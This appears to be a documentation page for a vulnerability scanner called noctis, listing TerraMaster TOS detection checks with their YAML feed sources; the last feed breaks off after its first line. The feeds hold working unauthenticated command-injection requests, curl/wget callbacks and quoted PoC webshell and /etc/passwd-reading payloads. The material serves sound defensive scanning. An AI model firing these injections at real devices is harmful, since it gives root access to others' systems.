TerraMaster — 5 vulnerability checks

noctis ships 5 vulnerability checks for TerraMaster, covering 37 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

TerraMaster TOS GetTest.php Unauthenticated Command Injection

CVECVE-2017-9328
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/terramaster/CVE-2017-9328.yaml

Detects the TerraMaster TOS (before 3.0.34) unauthenticated OS command injection in /include/ajax/GetTest.php, where the `testtype` POST parameter is placed inside a shell command run as root. Confirmation injects a command that writes an inert per-run text marker whose content only a real shell can compute (arithmetic expansion) next to the script, reads it back over HTTP, and removes it. When OOB is configured, a blind curl/wget callback covers devices where the read-back is not possible.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /include/ajax/GetTest.php with a crafted body
  3. HTTP(S) request GET /include/ajax/{{proof.fname}}.txt
  4. HTTP(S) request POST /include/ajax/GetTest.php with a crafted body
  5. Checks readback.body for NOCTIS[0-9]{6,7} → finding QoD 97: TerraMaster TOS command injection confirmed via POST /include/ajax/GetTest.php testtype parameter: the injected $(echo NOCTIS$((…+…)) > ….t…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST /include/ajax/GetTest.php with a crafted body
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: TerraMaster TOS blind command injection confirmed via POST /include/ajax/GetTest.php testtype parameter: a shell collapsed the $()-split OO…

References:

Feed source — tests/vulnerabilities/terramaster/CVE-2017-9328.yaml
# TerraMaster TOS < 3.0.34 — unauthenticated shell metacharacter injection in
# /include/ajax/GetTest.php (CVE-2017-9328), code execution as root.
#
# Ported from OpenVAS/Greenbone NVT `2017/noontec/gb_terramaster_tos_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.140376, GPL-2.0-only); vulnerable code and PoC from
# the original advisory (gist hybriz/63bbe2d963e531357aca353c74dd1ad5).
#
# GetTest.php builds `$line = dev . ':' . testtype . ':' . time()` from the
# POST body and runs `shell_exec("echo -e \"$line\" > /mnt/base/.<dev>test")`
# whenever `testtype` is set and is not `stop`. A `$(...)` inside `testtype`
# is expanded by the shell inside the double quotes and runs as root, with the
# script directory (/include/ajax/ under the web root) as working directory.
# The command output is never returned (blind), so the NASL drops a
# self-unlinking `<?php passthru("id"); unlink(__FILE__); ?>` file next to
# the script and fetches it.
#
# Detection — two benign proofs, nothing executable is ever written:
#   1. In-band write-then-read of an inert text marker (QoD 97):
#      testtype=start$(echo NOCTIS$((<a>+<b>)) > <name>.txt), with two random
#      6-digit integers and an independent random file name. The feed GETs
#      /include/ajax/<name>.txt and requires NOCTIS<a+b>: the sum never appears
#      in any request, so only a shell evaluating the arithmetic produces it.
#      A second injection `rm -f <name>.txt` removes the file before the
#      verdict, whatever the read-back returned.
#   2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
#      step 1 did not fire): testtype=start$(curl -s -m 5 -o /dev/null <url> ||
#      wget -q -T 5 -t 1 -O /dev/null <url>), <url> = http://<oob>/<a>$()<b>
#      where <a><b> = oob_token, so only a shell rebuilds the callback path.
#      Bounded timeouts, output to /dev/null, nothing is stored.
#
# Side effect, same as the NASL and the device's own UI: GetTest.php itself
# (re)writes the one-line status file /mnt/base/.noctistest (dev=noctis, a
# name no real disk uses, so smartscan() never touches a real disk).
#
# Deviations from the NASL (intentional, stronger detection):
#   - Benign proof: an inert .txt marker deleted explicitly, instead of an
#     executable PHP file that only deletes itself if it is fetched.
#   - The NASL only reads the dropped file back when the POST answer contains
#     "Call to undefined function" (the smartscan() fatal error). That message
#     only shows with display_errors on and on builds lacking smartscan(); the
#     file is written either way, so this feed does not gate on it (fewer FN).
#   - The OOB branch also catches devices whose script directory is not
#     writable or not served (the NASL's read-back 404s and it reports nothing).
#   - No prior TOS fingerprint is required — the proof itself identifies it.
#
# Only `$(...)` is used (no quotes), so the payload works whether or not PHP
# magic_quotes_gpc escapes quotes. The form body is sent verbatim by
# `http_request`, so the %-escapes reach PHP exactly as written:
#   %24%28 = $(   %24%28%28 = $((   %2B = +   %29 = )   %20 = space
#   %3E = >   %2F = /   %3A = :   %7C%7C = ||   %24%28%29 = $()
uid: fdca0935-1313-4bdb-9ae5-4f9321676b4d
name: "TerraMaster TOS GetTest.php Unauthenticated Command Injection (CVE-2017-9328)"
description: |
  Detects the TerraMaster TOS (before 3.0.34) unauthenticated OS command injection in
  /include/ajax/GetTest.php, where the `testtype` POST parameter is placed inside a
  shell command run as root. Confirmation injects a command that writes an inert
  per-run text marker whose content only a real shell can compute (arithmetic
  expansion) next to the script, reads it back over HTTP, and removes it. When OOB is
  configured, a blind curl/wget callback covers devices where the read-back is not
  possible.
cves: [CVE-2017-9328]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [terramaster, tos, nas, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9328"
  - "https://gist.github.com/hybriz/63bbe2d963e531357aca353c74dd1ad5"

steps:
  # Per-run proof: two random integers (their sum is the marker), and an
  # independent file name so a page echoing the requested path never matches.
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), fname: "nx" + rand_hex(8) }
    store_as: proof

  # testtype=start$(echo NOCTIS$((a+b)) > <name>.txt)
  - id: inject-write
    action: http_request
    method: POST
    path: "/include/ajax/GetTest.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "dev=noctis&testtype=start%24%28echo%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%20%3E%20{{proof.fname}}.txt%29"
    store_as: write_resp

  - id: readback
    action: http_request
    method: GET
    path: "/include/ajax/{{proof.fname}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: readback

  # Remove the marker file before deciding. Unconditional (rm -f is
  # idempotent): even if the write request timed out after the device ran the
  # echo, the file is still cleaned up.
  - id: cleanup
    action: http_request
    method: POST
    path: "/include/ajax/GetTest.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "dev=noctis&testtype=start%24%28rm%20-f%20{{proof.fname}}.txt%29"
    store_as: cleanup_resp

  # Confirm RCE: the file holds NOCTIS<a+b>, which only shell arithmetic
  # produces. If the read-back failed, `readback` is undefined → false.
  - id: confirm
    action: match
    source: readback.body
    pattern: "NOCTIS[0-9]{6,7}"
    condition: "readback.status == 200 && stridx(readback.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS command injection confirmed via POST /include/ajax/GetTest.php testtype parameter: the injected $(echo NOCTIS$(({{proof.a}}+{{proof.b}})) > {{proof.fname}}.txt) wrote the shell-computed marker {{proof.marker}}, read back from /include/ajax/{{proof.fname}}.txt and then removed"
      stop: true

  # Blind fallback (reached only when the in-band proof did not fire).
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: http_request
    method: POST
    path: "/include/ajax/GetTest.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "oob_enabled"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "dev=noctis&testtype=start%24%28curl%20-s%20-m%205%20-o%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20wget%20-q%20-T%205%20-t%201%20-O%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%29"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS blind command injection confirmed via POST /include/ajax/GetTest.php testtype parameter: a shell collapsed the $()-split OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
      stop: true

TerraMaster TOS exportUser.php Unauthenticated RCE

CVECVE-2020-15568
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/terramaster/CVE-2020-15568.yaml

Detects the TerraMaster TOS (4.1.24 and earlier) unauthenticated code injection in /include/exportUser.php, where cla=application&func=_exec passes the `opt` parameter to exec() as root. Confirmation writes an inert per-run text marker whose content only a real shell can produce (empty $() collapse), reads it back over HTTP, and removes it. When OOB is configured, a blind curl/wget callback covers devices where the read-back is not possible.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=echo%20NOCTIS%24%28%29{…
  5. HTTP(S) request GET /include/{{fname}}.txt
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=rm%20-f%20{{fname}}.txt…
  7. Checks readback.body for NOCTIS[0-9a-f]{32} → finding QoD 97: TerraMaster TOS code injection confirmed via /include/exportUser.php (cla=application&func=_exec): the injected echo NOCTIS$()<tok> wrote t…
  8. Parses / computes the next value with a Rhai script
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=curl%20-s%20-o%20/dev/n…
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: TerraMaster TOS blind code injection confirmed via /include/exportUser.php (cla=application&func=_exec): a shell collapsed the $()-split OO…

References:

Feed source — tests/vulnerabilities/terramaster/CVE-2020-15568.yaml
# TerraMaster TOS <= 4.1.24 — unauthenticated code injection as root in
# /include/exportUser.php (CVE-2020-15568).
#
# Ported from OpenVAS/Greenbone NVT `2021/noontec/gb_terramaster_rce_vuln_aug20.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.145288, GPL-2.0-only); same request shape as the
# Nuclei template `http/cves/2020/CVE-2020-15568.yaml`.
#
# exportUser.php (type=3) invokes `<cla>::<func>(<opt>)` from query parameters
# without authentication: cla=application&func=_exec passes `opt` to PHP exec(),
# i.e. to /bin/sh as root. The command output is not returned (blind), so the
# NASL redirects it to a file next to the script (cwd /usr/www/include, served
# as /include/<file>) and fetches it.
#
# Detection — two benign proofs, nothing executable is ever written:
#   1. In-band write-then-read of an inert text marker (QoD 97). A `script`
#      step mints a per-run token and an independent per-run file name. The
#      injected command is `echo NOCTIS$()<tok> > <name>.txt`; only a real
#      shell collapses the empty `$()` into the joined marker NOCTIS<tok>.
#      The feed then GETs /include/<name>.txt and requires that joined marker.
#      A second injection `rm -f <name>.txt` removes the file before the
#      verdict, whatever the read-back returned (the NASL also cleans up, but
#      only after a successful match).
#   2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
#      step 1 did not fire). Same injection point, the command is
#      `curl -s -o /dev/null <url> || wget -q -O /dev/null <url>`,
#      <url> = http://<oob>/<a>$()<b>, where <a><b> = oob_token; the token is
#      split by an empty $() so only a real shell rebuilds the callback path.
#      Output goes to /dev/null, nothing is stored.
#
# Deviations from the NASL (intentional):
#   - Benign proof: the NASL runs `id` / `cat /etc/passwd` and reads their
#     output back. This feed writes only a shell-collapsed marker.
#   - Better coverage than the NASL: the OOB branch also catches devices whose
#     /usr/www/include is read-only or not served (the NASL's read-back 404s and
#     it reports nothing), and the feed does not depend on a prior TOS
#     fingerprint (the NASL needs gb_terramaster_nas_http_detect first).
#   - Fewer false positives: the joined marker NOCTIS<tok> never appears in
#     any URL the feed sends (the request carries NOCTIS$()<tok>), so a
#     soft-404 page that reflects the request cannot match; only a shell that
#     evaluated `$()` produces it.
#
# Requests that carry the payload go through `tcp_connect` so `$()`, `>`, `|`
# and spaces reach PHP byte-for-byte (no client-side normalisation).
uid: bcdf9e2a-2a84-4494-b278-a6d3754b250b
name: "TerraMaster TOS exportUser.php Unauthenticated RCE (CVE-2020-15568)"
description: |
  Detects the TerraMaster TOS (4.1.24 and earlier) unauthenticated code
  injection in /include/exportUser.php, where cla=application&func=_exec
  passes the `opt` parameter to exec() as root. Confirmation writes an inert
  per-run text marker whose content only a real shell can produce (empty $()
  collapse), reads it back over HTTP, and removes it. When OOB is configured,
  a blind curl/wget callback covers devices where the read-back is not possible.
cves: [CVE-2020-15568]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [terramaster, tos, nas, code-injection, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-15568"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15568.yaml"

steps:
  # Per-run marker token and an independent per-run file name, so a server
  # that echoes the requested path (soft 404) can never show the marker.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  - id: gen-name
    action: script
    code: |
      "nx" + rand_hex(8)
    store_as: fname

  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # opt=echo NOCTIS$()<tok> > <name>.txt   (relative: cwd is /usr/www/include)
  #   %20 = space   %24%28%29 = $()   %3E = >
  - id: inject-write
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=echo%20NOCTIS%24%28%29{{tok}}%20%3E%20{{fname}}.txt HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: write_resp

  - id: readback
    action: http_request
    method: GET
    path: "/include/{{fname}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "write_resp.connected == true"
    store_as: readback

  # Remove the marker file before deciding (runs whether or not it was read).
  - id: cleanup
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: "write_resp.connected == true"
    send: "GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=rm%20-f%20{{fname}}.txt HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: cleanup_resp

  # Confirm RCE: the file holds the joined marker NOCTIS<tok>, which only a
  # shell evaluating $() produces. If the read-back failed, `readback` is
  # undefined and the condition is false.
  - id: confirm
    action: match
    source: readback.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "readback.status == 200 && stridx(readback.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS code injection confirmed via /include/exportUser.php (cla=application&func=_exec): the injected echo NOCTIS$()<tok> wrote the shell-collapsed marker {{marker}} to /include/{{fname}}.txt, read back over HTTP and then removed"
      stop: true

  # Blind fallback (reached only when the in-band proof did not fire).
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    condition: "oob_enabled"
    send: "GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=curl%20-s%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS blind code injection confirmed via /include/exportUser.php (cla=application&func=_exec): a shell collapsed the $()-split OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
      stop: true

TerraMaster TOS logtable.php Unauthenticated Command Injection

CVECVE-2018-13329, CVE-2018-13330, CVE-2018-13331, CVE-2018-13332, CVE-2018-13333, CVE-2018-13334, CVE-2018-13335, CVE-2018-13336, CVE-2018-13337, CVE-2018-13338, CVE-2018-13349, CVE-2018-13350, CVE-2018-13351, CVE-2018-13352, CVE-2018-13353, CVE-2018-13354, CVE-2018-13355, CVE-2018-13356, CVE-2018-13357, CVE-2018-13358, CVE-2018-13359, CVE-2018-13360, CVE-2018-13361, CVE-2018-13418
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/terramaster/terramaster-tos-logtable-rce.yaml

Detects the TerraMaster TOS (3.1.03 and earlier) unauthenticated OS command injection in /include/ajax/logtable.php via the `Event` parameter (CVE-2018-13354), reported together with the other TOS 3.1.03 advisory CVEs. Confirmation writes an inert per-run text marker whose content only a real shell can compute (arithmetic expansion), reads it back over HTTP, and removes it. When OOB is configured, a blind curl/wget callback covers devices where the read-back is not possible.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /include/ajax/logtable.php with a crafted body
  3. HTTP(S) request GET /{{proof.fname}}.txt
  4. HTTP(S) request POST /include/ajax/logtable.php with a crafted body
  5. Checks readback.body for NOCTIS[0-9]{6,7} → finding QoD 97: TerraMaster TOS command injection confirmed via POST /include/ajax/logtable.php Event parameter: the backticked echo NOCTIS$((…+…)) wrote t…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST /include/ajax/logtable.php with a crafted body
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: TerraMaster TOS blind command injection confirmed via POST /include/ajax/logtable.php Event parameter: a shell collapsed the $()-split OOB …

References:

Feed source — tests/vulnerabilities/terramaster/terramaster-tos-logtable-rce.yaml
# TerraMaster TOS <= 3.1.03 — unauthenticated OS command injection in
# /include/ajax/logtable.php via the `Event` POST parameter (CVE-2018-13354),
# reported together with the other TOS 3.1.03 advisory CVEs (XSS, SQLi, file
# disclosure, ...) exactly as the OpenVAS check does.
#
# Ported from OpenVAS/Greenbone NVT `2018/noontec/gb_terramaster_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.141751, GPL-2.0-only).
#
# The NASL POSTs `tab=gettotal&Event=`touch /usr/www/<rand>.txt`&table=access_syslog`
# to /include/ajax/logtable.php, then GETs /<rand>.txt and reports on a bare
# `200` status line, and finally deletes the file with a second injection.
#
# Detection — two benign proofs, nothing executable is ever written:
#   1. In-band write-then-read of an inert text marker (QoD 97). Same request
#      shape as the NASL, but the backticked command is
#      `echo NOCTIS$((<a>+<b>)) > /usr/www/<name>.txt` with two random 6-digit
#      integers and an independent random file name. The feed GETs /<name>.txt
#      and requires NOCTIS<a+b>: the sum never appears in any request, so only
#      a shell evaluating the arithmetic can produce it (no reflection or
#      character-stripping page can). A second injection `rm -f` removes the
#      file before the verdict, whatever the read-back returned.
#   2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
#      step 1 did not fire): the backticked command is
#      `curl -s -o /dev/null <url> || wget -q -O /dev/null <url>`, <url> =
#      http://<oob>/<a>$()<b> where <a><b> = oob_token, so only a shell rebuilds
#      the callback path. Output goes to /dev/null, nothing is stored.
#
# Deviations from the NASL (intentional, stronger detection):
#   - The NASL reports on any 200 for /<rand>.txt — a catch-all/soft-404 page
#     is a false positive. This feed requires the shell-computed marker inside
#     the file body.
#   - The OOB branch also catches devices whose web root is not /usr/www or
#     not writable (the NASL's read-back 404s and it reports nothing).
#   - No prior TOS fingerprint is required (the NASL needs the TerraMaster
#     detection VT first) — the proof itself identifies the product.
#
# The form body is sent verbatim by `http_request` (no client-side
# re-encoding), so the %-escapes below reach PHP exactly as written:
#   %60 = `   %20 = space   %24%28%28 = $((   %2B = +   %29%29 = ))
#   %3E = >   %2F = /       %7C%7C = ||       %24%28%29 = $()
uid: a6a96785-07e0-42ca-a9d1-7f1900a14a44
name: "TerraMaster TOS logtable.php Unauthenticated Command Injection (CVE-2018-13354)"
description: |
  Detects the TerraMaster TOS (3.1.03 and earlier) unauthenticated OS command injection
  in /include/ajax/logtable.php via the `Event` parameter (CVE-2018-13354), reported
  together with the other TOS 3.1.03 advisory CVEs. Confirmation writes an inert per-run
  text marker whose content only a real shell can compute (arithmetic expansion), reads
  it back over HTTP, and removes it. When OOB is configured, a blind curl/wget callback
  covers devices where the read-back is not possible.
cves:
  - CVE-2018-13329
  - CVE-2018-13330
  - CVE-2018-13331
  - CVE-2018-13332
  - CVE-2018-13333
  - CVE-2018-13334
  - CVE-2018-13335
  - CVE-2018-13336
  - CVE-2018-13337
  - CVE-2018-13338
  - CVE-2018-13349
  - CVE-2018-13350
  - CVE-2018-13351
  - CVE-2018-13352
  - CVE-2018-13353
  - CVE-2018-13354
  - CVE-2018-13355
  - CVE-2018-13356
  - CVE-2018-13357
  - CVE-2018-13358
  - CVE-2018-13359
  - CVE-2018-13360
  - CVE-2018-13361
  - CVE-2018-13418
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [terramaster, tos, nas, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-13354"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-13329"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-13418"

steps:
  # Per-run proof: two random integers (their sum is the marker), and an
  # independent file name so a page echoing the requested path never matches.
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), fname: "nx" + rand_hex(8) }
    store_as: proof

  # Event=`echo NOCTIS$((a+b)) > /usr/www/<name>.txt`
  # The read-back and cleanup run even if this request times out (logtable.php
  # greps the syslog in the same request), so a slow device is still covered.
  - id: inject-write
    action: http_request
    method: POST
    path: "/include/ajax/logtable.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "tab=gettotal&Event=%60echo%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%20%3E%20%2Fusr%2Fwww%2F{{proof.fname}}.txt%60&table=access_syslog"
    store_as: write_resp

  - id: readback
    action: http_request
    method: GET
    path: "/{{proof.fname}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: readback

  # Remove the marker file before deciding. Unconditional (rm -f is idempotent):
  # even if the write request timed out after the device ran the echo, the
  # file is still cleaned up.
  - id: cleanup
    action: http_request
    method: POST
    path: "/include/ajax/logtable.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "tab=gettotal&Event=%60rm%20-f%20%2Fusr%2Fwww%2F{{proof.fname}}.txt%60&table=access_syslog"
    store_as: cleanup_resp

  # Confirm RCE: the file holds NOCTIS<a+b>, which only shell arithmetic
  # produces. If the read-back failed, `readback` is undefined → false.
  - id: confirm
    action: match
    source: readback.body
    pattern: "NOCTIS[0-9]{6,7}"
    condition: "readback.status == 200 && stridx(readback.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS command injection confirmed via POST /include/ajax/logtable.php Event parameter: the backticked echo NOCTIS$(({{proof.a}}+{{proof.b}})) wrote the shell-computed marker {{proof.marker}} to /{{proof.fname}}.txt, read back over HTTP and then removed"
      stop: true

  # Blind fallback (reached only when the in-band proof did not fire).
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: http_request
    method: POST
    path: "/include/ajax/logtable.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "oob_enabled"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "tab=gettotal&Event=%60curl%20-s%20-o%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20wget%20-q%20-O%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%60&table=access_syslog"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "TerraMaster TOS blind command injection confirmed via POST /include/ajax/logtable.php Event parameter: a shell collapsed the $()-split OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
      stop: true

TerraMaster TOS makecvs.php Unauthenticated Command Injection

CVECVE-2020-28184, CVE-2020-28185, CVE-2020-28186, CVE-2020-28187, CVE-2020-28188, CVE-2020-28190, CVE-2020-29189, CVE-2020-35665
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/terramaster/terramaster-tos-makecvs-rce.yaml

Detects the TerraMaster TOS (4.2.06 and earlier) unauthenticated OS command injection in /include/makecvs.php via the `Event` parameter (CVE-2020-35665 / CVE-2020-28188), reported together with the other TOS December 2020 advisory CVEs. Confirmation writes an inert per-run text marker whose content only a real shell can produce (empty $() collapse), reads it back over HTTP, and removes it. When OOB is configured, a blind curl callback covers devices where the read-back is not possible.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/makecvs.php?Event=http%7Cecho%20NOCTIS%24%28%29{{tok}}%20%3E%20/usr/www/{{fn…
  5. HTTP(S) request GET /{{fname}}.txt
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/makecvs.php?Event=http%7Crm%20-f%20/usr/www/{{fname}}.txt%7C%7C HTTP/1.0
  7. Checks readback.body for NOCTIS[0-9a-f]{32} → finding QoD 97: TerraMaster TOS command injection confirmed via /include/makecvs.php Event parameter: the injected echo NOCTIS$()<tok> wrote the shell-coll…
  8. Parses / computes the next value with a Rhai script
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET /include/makecvs.php?Event=http%7Ccurl%20-s%20-o%20/dev/null%20http://{{oob_host}}:{{…
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: TerraMaster TOS blind command injection confirmed via /include/makecvs.php Event parameter: a shell collapsed the $()-split OOB token and t…

References:

Feed source — tests/vulnerabilities/terramaster/terramaster-tos-makecvs-rce.yaml
# TerraMaster TOS < 4.2.07 — unauthenticated command injection in
# /include/makecvs.php (CVE-2020-35665 / CVE-2020-28188), with the other
# December 2020 TOS advisory CVEs that the same OpenVAS check reports.
#
# Ported from OpenVAS/Greenbone NVT `2021/noontec/gb_terramaster_mult_vuln_dec20.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.145118, GPL-2.0-only); same injection point as the
# Metasploit module `exploits/linux/http/terramaster_unauth_rce_cve_2020_35665`.
#
# TOS 4.2.06 and earlier pass the `Event` query parameter of
# /include/makecvs.php into a shell pipeline without authentication. The value
# `http|<cmd>||` closes the legitimate pipe stage and runs <cmd> as the web
# server user. The command output is not returned in the response (blind), so
# the NASL writes a self-unlinking PHP file under the web root /usr/www and
# fetches it.
#
# Detection — two benign proofs, nothing executable is ever written:
#   1. In-band write-then-read of an inert text marker (QoD 97). A `script`
#      step mints a per-run token and a separate per-run file name. The
#      injected command is `echo NOCTIS$()<tok> > /usr/www/<name>.txt`; only a
#      real shell collapses the empty `$()` into the joined marker NOCTIS<tok>.
#      The feed then GETs /<name>.txt and requires that joined marker. The file
#      is plain text (never PHP, never executable) and a second injection
#      `rm -f /usr/www/<name>.txt` removes it before the verdict, whatever the
#      read-back returned.
#   2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
#      step 1 did not fire). Same injection point, the command is
#      `curl -s -o /dev/null <url> || wget -q -O /dev/null <url>` (wget only
#      runs if curl is missing/fails), <url> = http://<oob>/<a>$()<b>, where <a><b> = oob_token;
#      the token is split by an empty $() so only a real shell rebuilds the
#      callback path. Output goes to /dev/null, nothing is stored.
#
# Deviations from the NASL (intentional):
#   - Benign proof: the NASL drops `<?php system('id'); unlink(__FILE__); ?>`
#     (an executable PHP file that only deletes itself if it is fetched). This
#     feed writes an inert .txt marker and deletes it explicitly.
#   - Better coverage than the NASL: the OOB branch also catches devices whose
#     web root is not /usr/www or not writable (the NASL's read-back 404s and it
#     reports nothing), and the feed does not depend on a prior TOS version
#     fingerprint (the NASL needs gb_terramaster_nas_http_detect to succeed
#     first — the proof itself is the identification here).
#
# Requests that carry the payload go through `tcp_connect` so `|`, `$()`, `>`
# and spaces reach the PHP script byte-for-byte (no client-side normalisation).
uid: 81c5b96c-515d-4492-a732-e3dc6007b23f
